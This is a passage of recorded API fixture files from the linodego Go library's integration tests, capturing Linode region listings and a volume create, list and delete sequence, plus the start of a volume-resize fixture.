"us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:00:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 4979065, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:00:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes?page=1 method: GET response: body: '{"data": [{"id": 4979065, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "367" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:00:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4979065 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:01:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVolume_Resize.yaml000066400000000000000000000713431474652371000311100ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 